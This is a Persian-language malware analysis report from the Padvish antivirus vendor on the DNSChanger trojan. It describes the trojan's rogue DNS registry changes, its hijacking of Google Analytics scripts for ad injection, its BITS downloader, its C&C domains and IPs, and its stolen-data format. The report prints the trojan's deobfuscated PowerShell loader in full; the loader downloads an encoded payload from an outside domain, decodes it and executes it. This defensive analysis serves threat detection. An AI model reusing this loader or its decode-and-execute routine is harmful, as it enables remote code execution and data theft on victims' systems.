شرح کلی
نوع: تروجان (Trojan)
درجه تخریب: بالا
میزان شیوع: متوسط
اسامی بدافزار
- (Padvish) Trojan.Win32.DNSChanger
- Trojan.GenericKD.2932846 (BitDefender)
- Win32/Agent.WZW (ESET-NOD32)
- Trojan:Win32/Dynamer!ac (Microsoft)
- Trojan.Win32.DNSChanger.ynm (Kaspersky)
- Trojan.Zlob.Q (Symantec)
- (Avast) [Win32:DNSChanger-AAI [Trj
تروجان (Trojan) چیست؟
تروجانها نوعی بدافزار محسوب میشوند که خود را در قالب نرمافزاری سالم و قانونی جلوه میدهند و بسیار شبیه به نرمافزارهای مفید و کاربردی رفتار میکنند. در حالی که پس از اجرا، خرابیهای زیادی را برای سیستم ایجاد میکنند. نرمافزارهای دانلود شده از اینترنت، جاسازی شدن در متن HTML، ضمیمه شدن به ایمیل و غیره از جمله راههای ورود تروجانها هستند. تروجانها برخلاف ویروسها و کرمهای کامپیوتری قادر به تکثیر خود نیستند.
بدافزار Trojan.Win32.DNSChanger چیست؟
این بدافزار تروجانی است که از طریق برخی از تبلیغافزارها (مانند Mamba، BrowseFox، MultiPlug، YouTubeDownloader) و یا برنامه هایی که بدون اجازه کاربر از طریق برنامه های دیگر نصب می شوند، وارد سیستم میشود. این بدافزار شرایطی را در سیستم قربانی ایجاد میکند که به واسطه آن علاوه بر سرقت اطلاعات کاربران، محیطی جهت دانلود فایلهای مخرب فراهم میشود و تبلیغاتی در مرورگر کاربران نمایش داده میشود که با کلیک کردن روی این تبلیغات امکان ورود بدافزارهای دیگر در سیستم نیز به وجود میآید.
افزون بر این، با نصب دربپشتی در سیستم امنیت آن را کاهش میدهد به طوری که نفوذگران قادر به دسترسی از راه دور در سیستم کاربران بوده و به موجب این دسترسی دستوراتی را در سیستم کاربران اجرا میکنند.
توضیحات فنی
علائم آلودگی
❌ بدافزار آدرس DNS سیستم را تغییر میدهد. این کار از طریق جایگزینی مقدار NameServer در کلید رجیستری “HKLM\System\CurrentControlSet\Services\TCPIP\Parameters” با مقادیر مخرب صورت می گیرد. به منظور فراهمسازی امکان نمایش تبلیغات در مرورگر کاربران و دانلود فایلهای مخرب این عمل صورت میگیرد.
❌ بدافزار اقدام به ایجاد دو پوشه با نام تصادفی در مسیر %APPData% میکند و سرویس BITS سیستم عامل را وادار می کند تا فایلهای مخرب را دانلود نموده و در پوشههای مذکور قرار دهد. همچنین به منظور دانلود فایلهای مخرب و سرقت اطلاعات از سیستم، تعدادی دامنه مخرب به کار میرود و پس از جمعآوری اطلاعات مورد نیاز از سیستم با الحاق آنها به دامنههای مخرب، اقدام به سرقت اطلاعات و دانلود فایلهای مخرب دیگر میکند.
❌ بدافزار در مسیر”C:\Windows\Tasks”فایل Job ایجاد میکند که یک اسکریپت PowerShell است تا اقدام به برقراری ارتباط با سرورهای مخرب کند. این تسک روزی یک بار به اجرا در میآید تا منجر به بقای این ماژول بدافزار شود.
❌ بدافزار یک کپی از فایل اصلی با نام تصادفی در مسیر %temp% ایجاد میکند.
❌ اقدام به ایجاد مقداری با نام PendingFileRenameInformation در مسیر کلید رجیستری زیر میکند و محتوای آن را مسیر فایل اصلی کپی شده در %temp% به عنوان مبدا و فیلد خالی به عنوان مقصد قرار میدهد تا با راهاندازی مجدد سیستم این فایل پاک شود.
HKLM\System\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
❌ فایل اصلی را پاک میکند.
◽ فایل ها و فولدرها:
▫️ایجاد دو پوشه با نام تصادفی به منظور مکانی برای ذخیرهسازی فایلهای دانلود شده:
C:\Users\All Users\Application Data\{0165a9f4-3064-1}
C:\Users\All Users\Application Data\{2cc477d5-7064-0}
▫️ ایجاد فایل به منظور ارتباط با C&C:
C:\WINDOWS\Tasks\{AC737D9B-2765-34F7-EA3C-305C8C3C0713}.job
▫️پاک کردن فایل اصلی بدافزار و ایجاد کپی از آن در مسیر زیر:
{Temp Folder\{000c483e
◽ کلیدهای رجیستری:
▫️تغییر مقدار کلیدهای رجیستری با مقادیر مخرب 82.163.142.3 , 95.211.158.130
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\NameServer
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DhcpNameServer
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{711DF29B-257B-47BC-A6C2-1E16D4BB4A55}\NameServer
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{711DF29B-257B-47BC-A6C2-1E16D4BB4A55}\DhcpNameServer
▫️تغییر مقدار کلیدهای رجیستری زیر با مقدار 201329664
HKCU\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe\WindowPosition
HKCU\Console\%SystemRoot%_System32_svchost.exe\WindowPosition
HKCU\Console\taskeng.exe\WindowPosition
▫️افزودن مسیر فایل کپی به عنوان منبع و مقدار خالی به عنوان مقصد در کلید رجیستری زیر به منظور پاک شدن فایل پس از راهاندازی مجدد سیستم:
HKLM\System\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
▫️مسیر فایل
({Temp Folder\{000c483e\??\)
شرح عملکرد
☑️ هدف بدافزار
این بدافزار با اهداف مخرب جاسوسی و مالی شرایطی را برای انجام عملیات زیر در سیستم فراهم میسازد:
- دانلود فایلهای مخرب از طریق سرویس BITS
- نمایش تبلیغات در مرورگر کاربران از طریق تزریق کد جاوا اسکریپت مخرب در سرویس google analytics
- ایجاد دربپشتی از طریق تغییر آدرس DNS در سیستم
- ارسال اطلاعات کاربران و ارتباط با سرور C&C از طریق ایجاد اسکریپتی به عنوان Scheduled task
☑️ ماژولها و توالی عملیات بدافزار
🔸 ماژول تغییر دهنده آدرس DNS
بدافزار با استفاده از تغییر کلیدهای رجیستری مرتبط با آدرس DNS به هدف مخرب خود که نمایش تبلیغات در وبسایتهای مورد بازدید کاربر و دانلود فایلهای مخرب است، دست مییابد. این کار از طریق عملیات زیر صورت میپذیرد:
▪️با هندل گرفتن از کلید رجیستری زیر مقدار NameServer و DHCPNameServer را برابر با آدرسهای 82.163.142.3 , 95.211.158.130 قرار میدهد.
HKEY_LOCAL_MACHINE, “SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
▪️در ادامه با فراخوانی تابع GetAdapterInfo، مقدار فیلد DisplayName که برابر با InterfaceGUID است را میخواند و با استفاده از آن اقدام به هندل گرفتن از کلید رجیستری مربوط به این interface میکند.
نمونهای از مسیر کلید رجیستری :
HKEY_LOCAL_MACHINE, “SYSTEM\CurrentControlSet\Services\Tcpip\Interfaces\{711DF29B-257B-47BC-A6C2-1E16D4BB4A55}
🔸ماژول Adware
تروجان با تغییر آدرس DNS سیستم قادر است تا از تمامی وبسایتهای مورد بازدید آگاهی یابد و کاربر را به سمت سرور مخرب خود هدایت کند، بدون اینکه کاربر متوجه تغییرات صورت گرفته باشد. این تروجان به منظور نمایش تبلیغات در وب سایتهای مورد بازدید کاربر به محض تغییر آدرس DNS سیستم، شروع به سواستفاده از سرویس Google Analytics مینماید.
با توجه به اینکه اکثر وب سایتها با استفاده از سرویس Google Analytics اقدام به ارائه آمار و اطلاعات بازدیدکنندگان خود میکنند، این سرویس مورد سواستفاده این تروجان قرار گرفته است. Analytics.js و ga.js فایلهای کتابخانه جاوا اسکریپتی هستند که سرویس Google Analytics در اختیار وبسایتها قرار میدهد.
به محض ارسال درخواست از طریق وب سایتها به سرور Analytics Google فایل Analytics.js در کش مرورگر ذخیره شده و پس از آن مورد استفاده وب سایتها قرار میگیرد.
نحوه فعالیت ماژول تبلیغاتی تروجان موردنظر به این شکل است که با جایگزینی فایل Analytics.js سالم با نمونه مخرب باعث اجرای کد مخرب در سیستم آلوده شده و در پی اجرای این کد مخرب تبلیغات در وب سایت های مورد بازدید به نمایش درمی آید.
سیستم کاربر اقدام به ارسال درخواست dns ای برای آدرس www.google-analytics.com مینماید. سرور dns مخرب، درخواست را به سوی سرور مخربی که حاوی فایل Analytics.js میباشد هدایت مینماید تا این فایل مخرب به جای فایل سالم به سیستم کاربر انتقال یابد.
بدافزار با اجرای این اسکریپت توسط مرورگرها اقدام به دانلود فایل ga.js مخرب مینماید و با اجرای این اسکریپت تبلیغات مختلف در تمامیوب سایتها به نمایش درمیآید.
📌 نمونهای از سرور مخرب این بدافزار جهت دانلود فایل مخرب ga.js
hxxps://m73[.]dnsqa365[.]com/QualityCheck/ga.js
تحلیل ایستای فایل ga.js نشان داد که این اسکریپت با دو تابع لود json و لود js اقدام به لود کردن فایلهای جاوا اسکریپت دیگری میکند. (این اسکریپت برای مرورگر IE با ورژن کمتر از ۹ عمل نمیکند) گفتنی است که تعدادی از این فایلها قابل دانلود بودند و تعدادی نیز برای لود شدن با خطا مواجه میشدند. فایلهای دانلود شده از این قرار است:
- gteamqc.js
- gteamrs.js
- gtinimg.js
- gtsticky.js
- l.js
- lib.js
بررسی فایلهای دیگری که از دامنههای موجود در فایل ga.js دانلود شدهاند، بیانگر adware بودن اکثر این فایلها است.
🔸ماژول Downloader
این ماژول با جمع آوری اطلاعات از سیستم کاربر اقدام به ارسال آن به سوی سرورهای مد نظر خود میکند و قصد دارد با دانلود فایلهای مخرب، سیستم را به بدافزارهای دیگر آلوده کند. رفتار فایل سیستمی این ماژول نشان داد که بدافزار با اتصال به سرویس (BITS (Background Intelligent Transfer Service اقدام به ارسال اطلاعات و دانلود فایلهای مخرب از طریق فرآیند Svchost.exe میکند. سرویس BITS در سیستم عامل ویندوز برای دانلود و آپلود فایل بین کلاینت و سرور مورد استفاده قرار میگیرد.
▫️بدافزار اقدام به ایجاد دو پوشه با نام تصادفی در مسیر %APPData% مینماید.
▫️Host Process سرویس BITS فرآیند Svchost.exe است که برای انتقال فایل (Download – Upload – Upload Reply) بین کلاینت و سرور مورد استفاده قرار میگیرد. دو فایل QMGR0.dat و QMGR1.dat توسط فرآیند Svchost.exe در مسیر زیر ساخته میشوند:
%APPData%Microsot/Network/Downloader
▫️از محتوای دو فایل QMGR0.dat و QMGR1.dat دو بخش قابل توجه است:
- دستورات Batch
- آدرس URL کد شده
نتیجه تحلیل دستورات Batch حاکی از آن است که بدافزار با استفاده از سرویس BITS اقدام به ساختن Jobهایی با نام پوشههای ساخته شده توسط بدافزار میکند که این jobها از نوع دانلودر هستند و با الحاق کردن URlهای مخرب موجود در فایل اقدام به دانلود فایلهایی در مسیر همان پوشهها مینماید.
به سبب غیرفعال بودن سرورهای مخرب در زمان تحلیل بدافزار، هیچ فایل مخربی دانلود نمیشود و تنها دو فایل BITD0.tmp و BITD1.tmp با اندازه صفر ایجاد میشود. دستورات Batch اقدام به Complete و Cancel کردن دو job مینماید و در ادامه با اجرای دستور Regsvr بر روی فایلهای tmp. دانلود شده در پوشه job تلاش میکند تا این فایلهای به ظاهر dll را در سیستم رجیستر کند.
علاوه بر فایلهای tmp، این دستور بر روی فایل دیگری با نام (FolderName.d) نیز اجرا میگردد. از آنجا که این سرویس دارای ویژگی اجرا در پس زمینه و AutoStart در زمان راهاندازی مجدد سیستم و وصل شدن شبکه میباشد، کاربرد بسیاری دارد. برای نمونه Windows Update از این سرویس برای بروزرسانی سیستم استفاده میکند.
در ادامه نتایج بررسی دامنههای مخرب مختص این بدافزار و فایلهای دانلود شده توسط این ماژول بیان خواهد شد.
بررسی دامنههای مخرب
بدافزار لیستی از دامنههای مخرب را در اختیار دارد و با استفاده از یک الگوریتم انتخاب تصادفی، آدرس دامنهای را انتخاب کرده و با الحاق نمودن اطلاعات جمعآوری شده از سیستم کاربر به صورت رمز شده اقدام به برقراری ارتباط با این دامنهها میکند و قصد دانلود فایلهای مخرب دیگر از این وبسایتها را دارد.
لیست این دامنهها و نحوه انتخاب تصادفی آنها در تصاویر زیر نشان داده شده است:
لیست دامنههای مخرب
legco.info/u/
ough.info/u/
heato.info/u/
yelts.net/u/
deris.info/u/
big4u.org/u/
listcool.net/u/
listcool.info/u/
monoset.info/u/
likerut.info/u/
theget.biz/u/
bootfun.info/u/
sportnew.net/u/
ukjobmy.com/u/
moonas.info/u/
fasilmy.info/u/
paneljob.info/u/
usafun.info/u/
safesuns.info/u/
بررسی دامنههای فوق بیانگر مخرب بودن تمامی موارد بود، همچنین بیشتر این دامنهها به دو آدرس IP (185.17.184.11 ، 185.17.184.10) Resolve شدهاند.
- بدافزار به محض اجرا، اتصال به سرورهای لیست شده زیر را بررسی و بدین منظور درخواست HTTP به تعدادی از دامنههای مخرب ارسال میکند. با بررسی این دامنهها مشخص شد تمامی موارد مخرب بوده و به همین بدافزار اختصاص دارند که لیست آنها به شرح زیر است:
dyn.com (134.0.76.51)
ough.info (185.17.184.10)
amous.net (185.17.184.10)
heato.info (185.17.184.10)
www.hostgator.com (173.192.226.44)
riyah.info (185.17.184.10)
yelts.net (185.17.184.10)
(www.godaddy.com (104.71.178.207)
zambi.info (185.17.184.10)
deris.info (185.17.184.10)
legco.info (185.17.184.10)
listcool.net (185.17.184.10)
🔸ماژول SpyWare
- نمونهای از اطلاعات ارسالی به این دامنهها:
{“dns_setter”:{“activity_type”:16,”args”:{},”bits”:
}”file_type”:2,”job_id”:”6871575019001261711″},”build”:140,”exception_id”:0,”hardware_id”:”XXXXXXXX”,”is_admin”:true,”major”:1,”minor”:0,”os_id”:501,”register_date”:”1464075468″,”register_dsrc”:”2″,”repo
rt_id”:”4714532064084568071″,”service_pack”:3,”source_id”:”101″,”status”:true,”user_time”:1464076047,”version”:16777356,”x64″:false}}
این اطلاعات شامل اطلاعات سیستم آلوده شده و همچنین اطلاعات آدرسهای Dns و ID فایل job ساخته شده و … است که با الحاق کردن این اطلاعات به صورت رمز شده به دامنههای مخرب یک آدرس URL میسازد و این URL را به Job ساخته شده از طریق سرویس BITS اضافه میکند و از این طریق قصد ارسال اطلاعات و دانلود فایلهای مخرب را دارد.
🔸ماژول C&C
این بدافزار با ایجاد یک اسکریپت PowerShell در مسیر زیر، یک بار در طول روز اقدام به ارسال اطلاعات به سرور مخرب میکند:
%SystemDrive%\WINDOWS\Tasks\[RANDOM CLSID].job
این اسکریپت رمز شده است و تحلیل آن نشان داد که با ارسال اطلاعات جمعآوری شده از سیستم قصد ارتباط با یک سرور C&C را دارد.
محتویات اسکریپت بعد از ابهامزدایی به شکل زیر است:
$ErrorActionPreference = "stop";
$sc = "SilentlyContinue";
$WarningPreference = $sc;
$ProgressPreference = $sc;
$VerbosePreference = $sc;
$DebugPreference = $sc;
function sr($p) {
$n = "WindowPosition";
try {
New - Item - Path $p | Out - Null;
} catch {}
try {
New - ItemProperty - Path $p - Name $n - PropertyType DWORD - Value 201329664 | Out - Null;
} catch {
try {
Set - ItemProperty - Path $p - Name $n - Value 201329664 | Out - Null;
} catch {}
}
}
sr("HKCU:\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe");
sr("HKCU:\Console\%SystemRoot%_System32_svchost.exe");
sr("HKCU:\Console\taskeng.exe");
$surl = "http://safesuns.info/u/?q=QWZXuZ9sYwg9raflUvcUv2CPwZLVu2o9zVuLAxGdpMOJQssCEq3fZ61ZgIf18B0iuoTGugJqqFG7d2amMTzUCtThgWORPckJ9eNBSFaPNhTHbWVovn_QGChnn7NF0qVZS-AisteREjrZHf61wStODUzzXJ7_PTLfhgC7ZVJqRiriTTPEFGkK04v-_VTKBvPoOwOGc_EodIK7WHhGcGUsNMpN0GOGR5js2LevqWwXYkvhyPtrWPlkU8Njil-GjwsU6qXYfd7qsgRx588ykKiqxSQbV5HFS3V39f52GwLHIkpys8kgqGKFqleodC4u-rXfwClOG3cLLqSaNaCro3_vVn4Xt0ho6jNrk7Tc1b5oc2H0LwctBxGdmjbHV7f_OnMBUYBlzRPvDKu17X49XhNjTXcwjsXZXFBKsWmP1ZD7RjnFZlgIvaXt0bbx2Vv&c=CrR8ql11RvnKKAfl07oflg1ZflFOcf2vn7XORQlK9Ll4laOTIn5iThAakSsHKJot58HeAEJxRAwPwlUD_L6hoAwlRAe5FIhVE7fHNR9vTPdS7LXjfrz7oSw-wZNbeIlXQL5tTC3XUP0lyKddWD_VWKrkAV9i6VP_FyH_CHuEPba-_opvg24yDK7Ou21GTFN8UbUmmaGWpcF1JKfstpTvhxUFiBOKwxFxV6p-PCRgR_mIUNRyRkcclD889-BRcHa4NOtWXPSSw4VTEVQj1cCaW8U1Lzqh519JGTjRpWh43MWRN08Gm1rttHszx2RpvsJa4zvROD-lihY5YoEyRwrWL9Cy7cYSbsd68zqmI5IWIWGgC-EwfL01uvY1NCTVxibbgFOTxOLrCu-goDF9jixWusoig-KPKIFzZQlBtfZRzZ8G-vPhPvZ73hiRPl0WEC2UWHkl1CqBdlnYRer249_K8MM1AKlV1MrbAlCjL3teY9pgVOg3ttJ5pDWWwZwdTJVZ39yerF92srx-XCXiB9V6_nt7DBtBkOrMIhQ9R9DsWchtyRD3M0Yo6LBbborQLYza-eIPWFfZy3Ik7WHtHVmhiKufwmx5Aeh--JK9chY_jZqeeZ_eD2Ey0QWA6GM2u1dSmEG7LikT47lx_nPRrIJc33DpfJXAGxSRzjB&r=2496267145962660611";
$stsk = "{AD08F76C-C6DA-242F-DF48-057AC5E451A8}";
$prid = "DT";
$inid = "0";
try {
if ($PSVersionTable.PSVersion.Major - lt 2) {
break;
}
$v = [System.Environment]::OSVersion.Version;
if ($v.Major - eq 5) {
if (($v.Minor - lt 2) - AND((Get - WmiObject Win32_OperatingSystem).ServicePackMajorVersion - lt 2)) {
break;
}
}
if (-NOT([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]
"Administrator")) {
break;
}
function wc($url) {
$rq = New - Object System.Net.WebClient;
$rq.UseDefaultCredentials = $true;
$rq.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1;)");
return [System.Text.Encoding]::ASCII.GetString($rq.DownloadData($url));
}
function dstr($rawdata) {
$bt = [Convert]::FromBase64String($rawdata);
$ext = $bt[0];
$key = $bt[1] - bxor 170;
for ($i = 2; $i - lt $bt.Length; $i++) {
$bt[$i] = ($bt[$i] - bxor(($key + $i) - band 255));
}
return (New - Object IO.StreamReader(New - Object IO.Compression.DeflateStream((New - Object IO.MemoryStream($bt, 2, ($bt.Length - $ext))), [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
}
$sc = dstr(wc($surl));
Invoke - Expression - command "$sc";
} catch {};
exit 0;
روش مقابله و پاکسازی سیستم
آنتیویروس پادویش این بدافزار را شناسایی و از سیستم حذف میکند، توصیه میشود سیستمعامل و آنتیویروس خود را همیشه به روز نگه دارید.
همچنین پیشنهاد میشود با توجه به افزایش چشمگیر حملات سایبری و به منظور اطمینان از امنیت شبکه و سیستمهای در معرض خطر و همینطور جهت مقابله با حملات سایبری و تهدیدات پیشرفته پایدار، ضمن رعایت توصیههای امنیتی از محصول پادویش نسخه کشف و پاسخ به حملات سایبری یا Padvish MDR استفاده کنید.